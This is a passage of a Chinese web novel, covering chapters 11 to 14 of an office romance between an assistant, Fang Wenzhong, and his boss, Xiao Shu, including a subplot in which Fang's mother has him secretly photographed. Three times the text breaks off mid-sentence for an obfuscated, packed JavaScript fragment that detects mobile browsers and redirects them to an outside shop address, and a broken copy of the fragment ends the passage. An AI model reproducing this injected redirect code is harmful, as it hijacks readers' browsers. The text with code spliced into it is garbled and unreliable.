甜腻的果酒从他嘴角溢出来,流过脖子,胸膛。 最后全被萧疏舔走了。 他用嘴给他喂,方闻钟舌头推搡拒绝,那瓶酒他和萧疏都喝了一半。 方闻钟不知道萧疏为什么突然在床上玩得这么开,这么疯,可是他隐约察觉到了他强势控制背后的占有欲!对方闻钟的说一不二! 两人躺在床上,一看时间七点多了,方闻钟全身散架般,但还要把萧总叫起来。 让工作狂今天去上班吧!他要请假! 萧疏被推醒!眼睛迷茫了一瞬,就当方闻钟以为他会很快恢复过来,又当无懈可击的萧总,就见萧疏皱着眉头,眼皮几开几合,又闭上了。 还把他抱更紧了一点,埋在他发间深深的吸了一口气。 “方闻钟,你臭死了。” 萧疏忽然说:“一身酒味。” 方闻钟死鱼眼,“萧总,你能不能先闻闻你自己!” 萧疏低低地笑了,越笑声音越大,他轻微地抖着,震的方闻钟全身皮肤发痒,试图躲开他。 这下萧疏一下松开他,翻身起身下床。 他自在地穿衣服,打开衣柜看到上次方闻钟穿来的他的一套衣服,先去卫生间冼了个澡,再准备出来换。 听着小小空间里传出来的流水声,方闻钟感觉一切像做梦一样。 他做梦都不敢这样想,萧疏在他的小出租屋里,和他温存。 很快,穿好一身衣服的萧总看起来就有点距离感了,他慢条斯理地擦着自己可怜的镜片,然后戴起来,转头一看方闻钟,毛茸茸的像一个年纪不大的大男孩儿。 他笑了一下,“我先走了,你下午再来公司。” 萧疏似乎不用他再解释,昨晚在床间,方闻钟也断断续续地跟他解释了几句:黄可可只见过两三次,上次是有事,这次是帮他妈妈送东西,他和他妈妈关系不好,有些误会,他和黄可可没关系…… 他没有背着他干什么见不得人的事。 他也没有骗他,昨晚正好忙完乔晟的事,黄可可和他就先后来了。 …… 眼见萧疏要走,方闻钟下意识地脚步跟着他上前一步。 萧疏余光看到,就朝他招了招手,人到面前,他虚虚抱着他,说出来的话却狠毒又无理。 “方闻钟,家里催促,想过最近结婚吗?” 方闻钟垂着头不作答。 他说:“我不允许,我们之间,只有我先说不的权力,在你属于我的时候,我不允许任何人接触你、弄脏你。” 咬耳朵的话语,像要把方闻钟的灵魂都钉在那里!“将床事和其他事分开,我们都做得到,所以我给你自由,但最好别背叛我,别生出别的什么不该有的想法。” “你和女人结婚,属于骗婚知道吗?” 方闻钟一颗心往下坠了又坠,他忍不住怼他,“那你就不属于吗。” 回答他的是萧疏抬起头来,冷漠的目光眨也不眨地看着他。 方闻钟偏了一下头,“所以你的意思是,只有你先结婚,我们才可能结束,而我想要结婚,”他被萧疏捂住了嘴。 察觉到气氛不对,方闻钟在他面前使小性子,“那我妈催了怎么办?”他妈可是能干出来越来越匪夷所思的事。 对这个好像萧疏也没办法,他拧着眉,思索了片刻,最终不要脸地说:“这是你自己的问题,你自己解决,我不方便掺和到你家里去。” 方闻钟在心里嘲笑他,实际上没多大感觉,也不怎么失望。 这一切不就是能想到的,本来的样子吗。 “结婚的事,”他刚开了个口,萧疏又打断他,“方闻钟,我再警告你一遍,你是我的,在我不要你之前,你想都不要想。” 方闻钟几乎都要气死! 是,到时候你说结婚就结婚!那我呢! 我以后怎么办! 我现在该怎么办! 他的人生又不是只有活到三十三岁!不是活到他萧疏结婚就完了! 萧疏,以前都没这么发现,你可真他妈混蛋啊! 眼泪都激出来,可还是没骂他,谁叫他爱他呢,谁叫在这一段交易里,他付出了感情,就总是处于失败的一方。 萧疏亲了亲他,脸上已经一切如常,我不会不要你的,这句话太轻了,方闻钟没听到,只听到后面的话,“我能做到身边一直只有你一个人,你也能做到对吗,结婚的事,你先处理,处理不了我帮你解决。” 他似是已下定决心,方闻钟有点不敢想,他的解决是什么雷霆手段。 他不再提以后他结婚了方闻钟怎么办的问题,方闻钟也不提、不想。 左右他真不想结婚,而且,那是四五年后的事情了,就让他当一个没有脑子只会享乐的鸵鸟,好不好。 萧疏彻底走了,方闻钟难免再想起他和方老师之间的问题,以及牵扯进来的黄可可。 那天,黄可可找他说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710965|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始,她也说方老师的各种不容易,她老了,在那边好久见不到方闻钟,也会想他,关心他。 方闻钟有多久没回过家,并不知道方老师每天面对什么。 枯燥的照顾瘫痪在床的人一天,没有人跟她说话,没人替她排忧解难,而要面对的打交道的人,又人人对她指手画脚,明里暗里说她家里的事,孩子没成婚没着落,是不是不管她了…… 方老师的一切都有原因。 方闻钟听了只觉得浑身憋闷,又痛又想吼出来! 他无法对母亲说出更重的话,在命运突然到来的灾难里,他们两个都是受害者,她总是嫌弃他,话少、老实、不会做人,可方闻钟从上高中开始就要打工挣钱,还要努力学习!他又哪来的机会像普通学生一样玩乐交际! 他不受她控制,他们越来越远,不还是为了能独立生活,尽量减少负担从而支撑着彼时摇摇欲坠的家吗。 他的痛苦、解释,不应该对着黄可可! 所以他严厉地说那又和你有什么关系? 黄可可被他的冷漠震惊到了,方闻钟不再给她留脸面,戳破她的小心思,虽然是方老师率先欺骗了她,让她以为方闻钟对她也有意,才做出那样不礼貌的事! 可还不是因为她自己怀揣着私心,她有什么资格不经过方闻钟的同意,“落落大方”地站在他妈那边,感同身受!声讨他!入侵他的隐私! 还有,父母就可以随意让外人打开孩子的家门吗! 父母就可以像个小偷又像个监视者,窥视孩子的每一寸隐私吗! 方闻钟从不这么认为,所以不管从哪方面讲,黄可可那天伙同方老师的行为,都让方闻钟极其厌恶! 被自己的男神那样狠厉地批评过,黄可可哭得泪如雨下,直打嗝。 一直在说我错了,我错了,她想尽一切办法朝方闻钟道歉,哪怕从此以后和方闻钟再无干系,也不希望方闻钟如这一刻那么讨厌她。 方闻钟原谅了她。 但没再说以后。 那瓶腌肉放在冰箱好几天,方闻钟没动过,一是很少做饭,还不知如何做,二是,他看到,就忍不住皱眉,烦躁的情绪一瞬间就能让他心情不好。 他拉开拉环,冰凉的一口啤酒灌下去。 在萧疏身边,除了学会做事,还学会了一点看透人心。 这一刻,他冷冰冰地站在旁观者的角度,跳出和方老师的亲情关系,想:方老师,并不渴望他结婚,从而幸福!她只不过是通过逼迫、控制他走上她想要的路,从而在他身上找到生活的重心和存在感。 说白了就是闲的。 方闻钟苦笑了一声,母子关系处到这个份上,真是没用。 让问题更僵的,还有他在逃避。 或许可以解决一定问题,但是之后呢,如何和母亲说,他在人生大事上,走向了一条看不到前途的不归路。 到时候争吵只会更愤怒吧。 他颓唐地坐在沙发上,再也没有公司里雷厉风行的样子。 12. 第 12 章 当不知道如何处理一件事时,冷战和拖延是人们的首选。 天气越来越冷,长长的一两个月,方闻钟都再没和方老师联系过,就当他以为这件事暂时就这样过去了,他的拖字诀还能继续起效,方老师那边也是隔一段时间再催一下,他们仿佛程序设定般的一来一往,没想到,事情还是超出了他的控制。 也脱离了他的预想。 - 方闻钟的生活很不对劲,起初,他觉得有人跟踪他,下班后黑暗的一段小路,一个戴帽子的胡茬男人装模作样地在他后面打电话,但跟上他的脚步却很急,等他转弯快到家时,他们又分开。 仿佛只是顺路,是他多想了。 他的早餐、家门口的店铺摊子,总会让他忍不住多疑地回一次头。 方闻钟都快怀疑自己是不是太敏感想太多了! 后来,他觉得自己被人监视了。 或许在外面,或许在去公司的路上,更或许在家里拉开窗帘,总感觉有一双眼睛无时无刻地不在盯着他,记下他的日常。 一次站在窗户前一闪而过的闪光灯,让方闻钟精神紧绷,头皮发紧,紧张好长一段时间。 在这期间,他拒绝了几次去萧疏家里。 和他只有工作上的交际。 萧疏哪怕有一点不满,也只当上次在他家把方闻钟欺负狠了,他不想,所以低气压地看他一段时间,然后继续做他爱工作如命的萧总。 方闻钟试图找出来出问题的地方,可是,凭他的能力,他怎么看都好像是他自己不对劲,周围没任何问题。 他的精神越来越不好,偶尔考虑过,是不是可以请萧疏帮个忙,查一下。 难道真是他紧张下自己幻想的? 在会议上发着呆,萧疏耳朵一边听着项目部那边的汇报,一边看本该记下问题的方闻钟,他眼神呆呆的,不知道在想什么。 萧疏扫了一眼,面无表情地收回目光,手指随意地翻页。 项目部经理发言完,萧疏迟迟没动静,不给回应,会议室里的气氛超级紧张,就当大家以为出什么大问题了萧总在酝酿着发火,方闻钟突然回过神来,自以为小心地赶紧朝四周看一眼,好像没事,于是他也把目光看向萧疏。 怎么回事,萧总听着睡着了? 萧疏冷冰冰地看过去,鼻音在只有他自己听到的分贝下嗤了一声,“散会,”他二话不说直接站起来。 方闻钟立马起来,快步跟上,快贴近萧疏时,已经走出会议室门口,里面还等着一群面面相觑的人。 萧疏吩咐方闻钟,“再出神就不用来了,去把问题发过去,限他们三天内解决。” 方闻钟慢下来,才不好意思地察觉到,萧疏这反应,全是因为他自己! 哎,又揽了一大批活。 在方闻钟和神秘人/他的幻想斗智斗勇的时候,还发生了一件和他息息相关的事。 顾芙雅,自从被萧疏毫不留情地拒绝后,好像本来喜欢他想和他联姻的想法,突然就从60%上涨到了80%! 她妈妈支持她!她哥讥讽她! 越发让顾芙雅认可萧疏的话,她现在对他而言还没有那么强的不可替代性,所以她一定会努力的! 顾芙雅像个第一次下水学游泳的鸭子一样,撒娇耍赖般进了自己家公司,又在父母宠爱和哥哥不管下争取到了一个小主管的位置。 她想方设法试图在工作上做出一点成就,甚至试图掺入进去一些项目,和萧氏集团有关,从而有理由名正言顺地站在萧疏面前! 方闻钟听闻过两次她来谈合作的事,由于心里装着其他事萧疏又把顾芙雅随意打发给下下下下属,压根没出现在他们面前,所以方闻钟都没太在意。 顾芙雅气哭了,她妈妈倒是试图在萧夫人和萧父面前说好话,这次两人支支吾吾,怎么都不给她一个正面回应…… 顾芙雅哥哥顾芙泽,一个纯正的商人,挖苦她们不要自寻死路,往萧疏那个吃肉不吐骨头的人嘴边送,却被两个女人忽略,顾芙雅妈妈晲他,“你懂什么。” 然后安慰女儿,“我们慢慢来,将来一定会嫁给萧疏的。”萧疏可是她能看上的最好的配得上雅雅的女婿! 顾芙雅:“嗯,我们走着瞧,我一定会拿下他,反正他现在也没有其他女人……”她这边还越挫越勇了。 方闻钟发现有人在偷拍他,不是意外! 他本来在和合作伙伴说话,谈完后送对方离开,那位优雅的女士刚坐上车,摇下车窗朝他递过来一只手,方闻钟突然就感觉不远的地方一个人在拍他! 这段时间这种被监视的感觉太熟悉了!所以一下他就朝右边某个方向看去!果然看到一个黑衣服男人抱着相机慌乱地跑了! 当下他想也没想,直接肃着脸追出去! “哎?”身后传来一声惊讶的女声。 他们跑了好几条街道,方闻钟一身西装皮鞋,在大冷天愣是跑得上气不接下气热气直冲脸面!他扶着膝盖直直喘气。 对面人也是被他追得够呛,一边要护着自己的相机,一边在前面领路路还不熟! 男人岁数比他大,他转过来一点侧脸,方闻钟才看到他的一点模样。 一下又奋起直追!他今天一定要找出真相! 为什么有人偷拍他。 他们追着追着跑到了一个狭窄的出不去的小道,道两旁停着一些电动车,被追的人想都没想,一把把一辆车推到,横在方闻钟面前。 方闻钟本来就生气,这下更是一下把他气全逼出来了! 凭什么!凭什么跟踪他,偷拍他! 对方到底是什么人!什么意图! 他大跨步越过车辆,长腿一下踹过去,直接就把人踹到地上! 相机从男人手里跌落出来,狠狠砸在地上,那男人看了一下,然后愤怒地转头盯向方闻钟,也气恼地挥拳头跟他打起来。 这一打就都动真格了。 方闻钟一边眼睛被捶出了熊猫眼,对方也没落的好,两个人都感觉全身不是胳膊疼就是腿疼,方闻钟只喘着气,问他为什么拍他。 男人不老实交代,只感觉自己肚子一块疼得受不了。 谁都没发现,他们被偷偷看到的人,报了警。 萧疏接到派出所的电话,让他来接方闻钟,疑惑道:“什么?” 沉默地听了半天,方闻钟是打架进局子了,需要他保释,萧疏第一次怀疑自己的听力,然后在原地站了好几秒,才一把把大衣拿过来,去楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710966|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下开车。 见到方闻钟时,方闻钟像一个做错事的孩子,尤其在萧疏冷淡的目光下,实际只是萧疏会隐藏,眼镜也挡住了他看好戏的神态,方闻钟挪着小脚步,低着头半天才走到跟前。 脸上那么大一块青,还在眼皮上,萧疏一下把他头抬起来,“还伤哪了。” 方闻钟嘶了一下差点咬到舌头,萧疏这才看到他下巴上也有一块,从头到尾扫了一遍,西装一块一块沾了土,还有脚印,扣子不知道绷哪儿,皮鞋也被糟蹋出折痕,真是狼狈的可以。 萧疏还真没见过他这幅样子,有点可怜,又有点可爱,想…… 问他出什么事了打架的原因都被他排到了后头。 他出神了一秒,猜测方闻钟身上伤不少,先把眼前解决了再去医院。 在警察、萧疏、方闻钟,以及被抓来的另一个人,各方交谈教育下,才知道,偷拍的人,只是因为在网上收了钱,需要每天给一个客户拍方闻钟的照片,告诉对方他在干什么,说白了也就是监视! 这才有了被跟踪,以及方闻钟碰巧看到的闪光灯。 问客户什么身份,方闻钟也和萧疏诧异,有什么人需要偷拍方闻钟,就见那人打开手机,“喏,我也不知道他是谁,他就是这上面跟我联系的。” 他们业务还不咋熟练,收费还高,没想到还真有人花大价钱,一两个月地跟踪一个人偷拍他。 本以为接到个单子要拍什么秘密呢,还有些忐忑,结果,结果方闻钟一天生活规律的不能再规律了!甚至干净的让偷拍者都诧异,这是一个二十八岁小伙的样子? 他身边除了工作就没有女人朋友吗? 照片发过去,客户很满意,还说不要求他拍到什么,每天照常给他发一些照片就好了…… 警察和萧疏还在蹙眉,方闻钟却是看着那个头像呆住了。 他颤抖间,抓上什么东西,拳头攥紧。 后来他单方面不追究,警察和萧疏,还有偷拍者,都知道是他自己这边的问题,他不打算追究,还知道客户是谁,于是也只能作罢,还嘱咐他:“有需要一定再来。” “嗯。” 出了派出所,方闻钟才察觉到,他抓紧的是萧疏的袖子,萧疏让他松开,他自己展了展袖口。 男人的相机被摔坏了一点,他嚣张地让方闻钟赔他,又在萧疏压制下,怂怂的打算算了,方闻钟却拉住他,“我可以给你赔钱,也不再追究,但你需要把所有我的照片都删了。” “好。” - 医院里,萧疏抱着胸,看医生给方闻钟处理。 医生让他脱掉衣服,方闻钟委屈巴巴地看向萧疏,意思是让他出去。 但萧疏没反应,这里是私人医院,整个医院的医生都是萧疏的职工,所以方闻钟孤立无援,没人帮他,只能在萧疏死亡凝视下,摆烂地把衣服都脱了。 嘶。 嘶。 萧疏毒舌:“你是蛇吗?蛇都冬眠了。” 方闻钟又是疼,又是被逗笑,一身紫药水,惨兮兮地向萧疏求饶道谢,“萧总,今天谢谢你带我出来。” “嗯,”萧疏点着头,“所以是谁。” 他有点好奇。 “我妈。” 13. 第 13 章 萧疏先是背了一段法律条文,然后严肃地看着方闻钟,意思是,即使对方是他妈,也侵犯了隐私权,理应富有法律责任。 方闻钟头疼无比,什么意思,萧疏让他怎么处理他妈? 这建议可真是烂透了。 又想,或许他们家的一团浆糊,只有萧疏这样大刀阔斧的人,才能处理。 但方闻钟显然做不到。 他沉默地拒绝,萧疏哼了他一声,说:“那就自己受着。” 擦肩而过的瞬间,方闻钟鼻子一酸,既想找他寻求安慰,哪怕什么都不说,在他身边陪陪他也好,又忍不住生出一点点怨怼,头仰着,满脸脏兮兮地靠在椅背上。 萧疏显然对方闻钟妈妈为什么偷拍监视自己的儿子不感兴趣,方闻钟却是知道。 大概方老师见黄可可那边没动静了,不听她话,他这边也失联,竟不想着联系他,反而和他一样断联,转头却琢磨起了其他心思! 她是不是要从他生活的蛛丝马迹找到,他为什么不结婚? 或者干脆只是想控制他,让他活在她的视线下! 方便她以后说什么他就得做什么! 方闻钟的伤好了,这一周,他什么也没有做,方老师收到偷拍者失手的信息,不知道在想什么,也装死一般。 直到快过年的时候,方闻钟打通了电话。 他们之间长达一分多钟的互相沉默,似乎谁先说话谁就输了,方闻钟以为自己能收到一个表态,察觉到一点点歉意,可是被他的沉默逼迫下,方老师忍不住了! 她鼻子间喘着粗气,前一分钟的忍耐,试图让方闻钟低头,现在全化为歇斯底里的愤怒! 是的,她先崩溃了,她先生气了。 方闻钟觉得真是好笑。 他把手机拿远了点,让怒骂声慢点传进他的耳朵和心里,徒劳无功。 让方老师道歉徒劳无功,解决这件事也徒劳无功,他都不想再说什么做什么了,白费力气。 “过段时间我就不回去了。” “你不回来我就和你爸一起去死!” 他冷漠地触碰挂断键。 萧疏的建议方闻钟没采纳,却是在又一次他嫌弃他的小出租屋时,忍不住突然想,他是不是可以换一个住处? 从大学毕业进公司到现在,他一直住在这座旧楼的六楼,每天通勤时间很长,还要爬楼梯,在很多个夜晚,他还会往返于萧疏的豪宅和他的破旧小屋。 屋子被他收拾的挺干净,但到底各种不方便,也实在将就了些。 五年间,之前是一直有压力,没钱,现在终于一身轻松了,而他上个月年终奖,就有一百多万。 方闻钟要租房,萧疏还是从其他经理那儿不小心听到的。 貌似是方闻钟在打听好点的地方。 萧疏捏着手指,哼,他是摆设吗。 在方闻钟忙忙碌碌好几天后,萧疏看他终于有了点容光焕发的样子,忍不住拦下他,“房子租好了?” “你怎么知道?”方闻钟诧异,以前萧疏可从未关心过他工作以外的生活。 新租的房子是一套精装三室一厅,地段优秀,房东准备和儿子一家出国,还未住过,见他是个体面人,放心地把房子交给他,还好心的从十几天后,也就是下月初,才开始算租期。 “怎么不问我,”萧疏说。 方闻钟给他戴高帽子,意思是他太忙了,实际上他害怕萧疏拿出来的房子,他根本租不起! 在男人看透一切的视线下,方闻钟尴尬,他讨好道:“萧总,我的新家离这里只有十几分钟,你有空大驾光临吗,”他正好可以摆个乔迁宴,方闻钟思考着可以请哪些朋友。 就听萧疏说:“我没空,”他要出差,还抬头看了方闻钟一眼,意思是你又不是不知道…… 方闻钟的喜色一点点淡去,“哦,”他微笑道:“那也没关系。” 请朋友来新家的想法,也没那么强了。 “没考虑买房?”萧疏今天打定主意要跟他多聊一会儿。 方闻钟:“买不起,”真是朴素无华的理由。 萧疏在对面挑了挑眉,“上月年终奖,还有你的工资,乔晟那边项目开始还没有给你发奖金,”那边方闻钟可是大功臣,“还不够你付首付?” 方闻钟眼睛倏地一亮,直接问道:“奖金有多少啊萧总。” “至少比你的年终奖多四五倍。” 方闻钟可爱惨了男人这幅冷淡的样子和冰冷的嘴角,爱听,再多说几句。 “不买?” 呃,方闻钟从未想过,有一天他可以在这座城市卖房,未来在这里定居?除了首付,以后几十年的月供他有保证一直付得起吗,思考让他微蹙着眉头,“我老家买了房子……” 萧疏站起来,路过他,“随你。” 他看着他的背影,只觉明明触手可得,好像又离他远了点。 方闻钟像个小蚂蚁,没麻烦别人,每天一点一点收拾自己的东西,往新家搬,四五天后,基本都搬走了,就剩一个他随时急用的行李箱,以及一些萧疏的东西。 那个抽屉里他私藏的物品,不想率先挪到那边去。 他打算装在最后一个行李箱里,和他一起过去。 计划不如变化! 房东突然说她儿子一家从国外回来了,今年要在国内过年!所以租给他的房子,这两天还得再占用一段时间! 那边很不好意思,但确实事出有因! 而且,本来房东就给他的租期算到十几天后才开始,所以也不算违约,最关键是,谁能想到,方闻钟大过年的不打算回家,打算在新房子里过年呢? 房东还以为他外地的肯定走,所以说出这个要求时也没觉得多让方闻钟为难。 方闻钟提着行李箱,站在出租车前愣住了,直到司机问了好几遍,走不走,走不走? 他才呆愣愣地反应过来,车子早已扬长而去。 他的手紧了紧,现在,怎么办? 似乎只能去酒店了…… 房东提出的想法非常合理,尽量保证不动方闻钟已经搬过去的东西,还说下个月给他租金算便宜点,显得很高兴,方闻钟无法理直气壮地要求他把房子立马租给他,和家人搬出去…… 当时找的房子千好万好,谁料能出这个状况呢。 窗外有一点点雪花落下来,方闻钟打开车窗,透进来一股寒气,让他从刚才回神清醒了些。 司机沉默,尽管如此,还是跟他寒暄了一两句,要过年了怎么去酒店?来不及回家吗? 酒店不知道过两天开不开,是不是正常营业? 方闻钟也不知道,他越听越烦躁,选的酒店是市内星级最高的一家,他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710967|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次没有想着省钱,因为害怕人家直接关门…… 快到酒店门口时已经晚上天擦黑了。 忽然来电提示萧疏的视频。 嗯?他一下直起身,心里想着萧疏现在在国外,不知道那边工作多久结束,他什么时候回来,又无意识地计算着萧疏那边的时差,打视频来是有什么事? 接通。 萧疏显然还在开视频会议,小小的一块镜头前,能看到他那边桌子上摆满了文件,有翻开的,有合在一起的,还有两个电脑屏幕,他说了几句流利的外语,看到电话接通了,扔下笔脸凑过来。 方闻钟首先看到的就是他没戴眼镜的眼,眼尾狭长轻佻,还有一颗小痣。 然后是他解开领口,一段白皙的脖颈。 萧疏顾不上管方闻钟在干什么,只知道他没回老家,记得他说他租的房子离公司只有十几分钟。 “方闻钟,去公司我的电脑上,把我刚发过去的邮件下载下来,盖完章再给我发过来。密码……” 他说到一半,“你在哪里?周围有人?” 方闻钟顿时凛神,“我在车上,萧总,我马上去公司!”立马吩咐司机换个地址! “密码我到公司再说。” 感谢萧疏这通又急又突然的召唤,把方闻钟从寂寥的情绪中解救出来! 现在只想立马完成任务,萧总都在国外深夜办公呢,他去工作怎么了。 司机迅速开到萧氏集团楼下,一下车方闻钟就提着他的行李箱往楼上跑。 按指纹,解锁,坐在萧疏的椅子上,打开他的电脑,邮件,对,是这个,嗡嗡的打印声,足够方闻钟大致看一眼文字,很重要,半个小时后,他按萧疏说的一切发过去了。 工作完成,他没忍住在他的座椅上多停留了几分钟,他转过身去,看着高楼外的深夜。 雪花,灯光。 星星点点。 他的归宿还是酒店。 就当方闻钟百无聊赖地又拎着行李箱,在楼下打车等车来时,萧疏的电话来了。 这次不是视频。 以为又有需求,他立马接通。 “咳,”萧疏先是咳嗽了一声,方闻钟关心了一句,“身体不舒服吗?” “没事,”萧疏捂嘴,“我听保安说你大过年的一个人拎着行李箱在公司跑呢,把他吓了一跳,怎么了,准备深夜逃离,回你老家?” 他倒是问得直白。 方闻钟却是想了很久,才跟他说了实话。 “所以我接下来几天要去住酒店。” “公司几号上班啊?我申请提前几天。” 电话那边一直没声,方闻钟以为萧疏压根不在意他这点小事,随便,随他,就听萧疏说:“密码你知道,去我家,我不回来。” …… “啊?”方闻钟真佩服自己,听到这么一瞬间让他心提到嗓子眼的消息,还能问出一句,“过年你都不回来啊?”他父母能同意? 萧疏先是笑了一下,然后冷淡又直白,“别废话了,”也别再试探,“我大概四天后回来,回来后你立马上班。” 所以留给他舒服的时间可不多了。 刚打印的文件,就是他们接下来繁复的工作。 就是忍不住高兴,四十多分钟后,方闻钟哼着歌,一下一下,认真站在萧疏的豪宅前按密码。 14. 第 14 章 三天后,萧疏在计划的前一天回来了,司机走后他带着一身倦气,推开房门,就看到方闻钟坐在奢华空荡的客厅里,坐在地毯上桌上捧着一碗泡面在吃,窸窸窣窣,他穿着白色的短袖一件黑短裤,看到萧疏来,他的面容从背光一点点清晰起来,方闻钟一下慌张地想站起来。 泡面旁边,还有几个水灵灵的橘子,和一袋萧疏看不出是什么的零食。 他皱着眉,垂眼仔细看了半晌。 方闻钟差点呛死,萧总怎么突然回来了,也没给他打电话,他看他的神色,啊啊啊啊萧疏不会在嫌弃他在他家吃这些东西吧! 不是方闻钟偷懒,好吧,就是他偷懒,三天前,刚来这里,看到冰箱内只有可怜的几瓶瓶装水,他就知道,得采购一些东西以防他接下来饿死了。 这期间可没有外卖,很多店也关门了,一个人,在家里吃是他觉得最好的选择。 买东西时,当然也考虑到了萧疏从未用过的餐厅。 各种工具眼花缭乱,方闻钟选择最朴实的,在认认真真做了两三顿简餐后,今天他偷懒吃起了泡面。 这几天过着世外桃源的生活,无人打扰,不用工作,他由一开始紧张不自在,到最后越来越舒适,所以是怎么方便怎么来。 还想着明天就把这里都收拾干净,还萧疏一个整洁完美的家呢。 没想到,最后破功! 他脸上的心虚和懊恼各占一半,偷偷瞅萧疏。 萧疏不知道是累了,还是单纯看他的食物不爽,哼了一声,“把这些垃圾食品都扔出去。” 他脱了大衣上楼,方闻钟立马照做,一点不敢反抗。 没一会儿,他洗完澡下来了,坐在沙发上,有一下没一下地捏着鼻梁,方闻钟站着像一个面对班主任的小孩儿,指缝间扫过他短裤下瘦长匀称的腿,萧疏感觉更燥了些。 “我饿了,”半晌他说。 方闻钟:“……” 保姆不在,想要立马吃上萧疏满意的食物,他们至少得驱车三十分钟。 可看萧总这不想动弹的状态,方闻钟上楼换衣服,在酒店和几家私房菜馆选了一家,准备打电话叫餐。 萧疏转头看了一眼,“要多久,”他问他。 方闻钟保守估计,“一个小时。” 眼见对面更低气压,萧疏盯着他不放,方闻钟也扶着楼梯不敢动,以为还有什么另外指示,僵持了半天,萧疏:“去给我弄点吃的,随便什么都行。” 他先认输。 好嘞!方闻钟愣了一下,立马照做。 打开冰箱他还朝萧疏试探了一眼,“萧总,泡面和白水面条,你想吃哪个啊?” 方闻钟不敢承认他有点在逗他,萧疏一下站起来,吓得他立马缩回去,萧疏揉了一下胃,被方闻钟看到了,“你休息吧,我尽量给你做好吃点,”白水面条,胃疼的人没资格吃泡面。 当一碗放着煎蛋,飘着几根绿油油的青菜,倒多了香油的面放到萧疏面前。 萧疏久久不拿筷子。 方闻钟忍不住坐他对面,“尝一下吧萧总,我觉得味道还可以,”挺清淡的,刚好适合他。 萧疏拿起筷子,从下往上看他一眼,“煎蛋为什么不弄成圆的。” 为什么?当然是因为技术不好弄不成圆的啊!方闻钟还以为他在嫌弃味道,没想到萧疏纯粹是有强迫症,看不惯鸡蛋的卖相! 他吃饭很沉默,也很快,可能是真饿了,方闻钟看着看着,没几分钟,萧疏就优雅又迅速地把一碗面条全吃完了!鸡蛋和青菜也没剩下! 他软乎乎地趴在桌上,“还要不要啊,胃还疼吗?” 萧疏只觉得他这个样子乖死了。 回家后第一次露出笑,“要。” 方闻钟起身准备再去给他弄点,他走过去拿起他的餐具,刚背过身就唠唠叨叨,“萧疏,你不知道,我刚来那晚外面还放烟花了!”这片富人区的夜晚异常热闹,那天理应所有人团聚的日子,他一个人站在萧疏家里。 隔着窗户看外面经久不散大大的烟花。 也很开心。 唯一有点遗憾的,可能就是那晚想再给萧疏打个电话,送个祝福,萧疏太忙了没接。 至于老家,他说到做到了不管不顾,方老师也好像没他这个儿子。 腰上突然被男人的胳膊一下拦过,“哎!”方闻钟尖叫着,害怕把手里的东西摔了,转瞬间,他坐在萧疏的大腿上! 转头面色潮红地看着他。 萧疏把下巴搭他肩膀上,“我说要你。” …… “你生病了……萧疏……萧疏……” 逞强的后果就是,当天晚上,萧疏就发烧了,持续了几天的简单咳嗽,一下变得凶猛起来。 方闻钟把体温计从男人身上拿起来,又把湿毛巾盖回去,他视线躲避着萧疏卧室的窗前,大冷天,他们都没穿衣服,他在他背后要他! 虽然出了一身汗,还很热,但方闻钟猜测,萧疏就是因为下午的这场放纵才生病严重的! 好处是他胃不疼了。 萧疏生病了怎么着都不爽,方闻钟替他换毛巾不小心碰了一下他脸,他像生意被抢了,看着方闻钟。 方闻钟半天不动他,他咳嗽,压着拳头眼睛红红的睁开,看到方闻钟像个呆瓜一样坐他面前,他更生气。 “过来,”嗓子哑得要死,还把方闻钟当下属训。 方闻钟只好乖乖挪到他床边,坐下。 萧疏躺平了,闭着眼,“你这几天在哪睡呢?” “客房,就是你书房旁边那个。” “搬过来。” 啊,“萧总,你还生着病呢,”而且,每天和萧疏睡一张床上,他也不适应啊。 萧疏睁开眼,“说什么呢,我说我旁边的房间才是客房。” 方闻钟:“……” 萧疏:“……” 好吧,他的客房和主卧也没多大区别,方闻钟之前看过,才不敢随便住。 “好的,”他听话道。 打算晚上再守萧疏一会儿,男人面色有点红,睡熟了,方闻钟抬起手,轻轻的在他上面动来动去,描摹五官,宁静柔和。 他的手忽然被抓住了! 方闻钟一跳! 好险没站起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 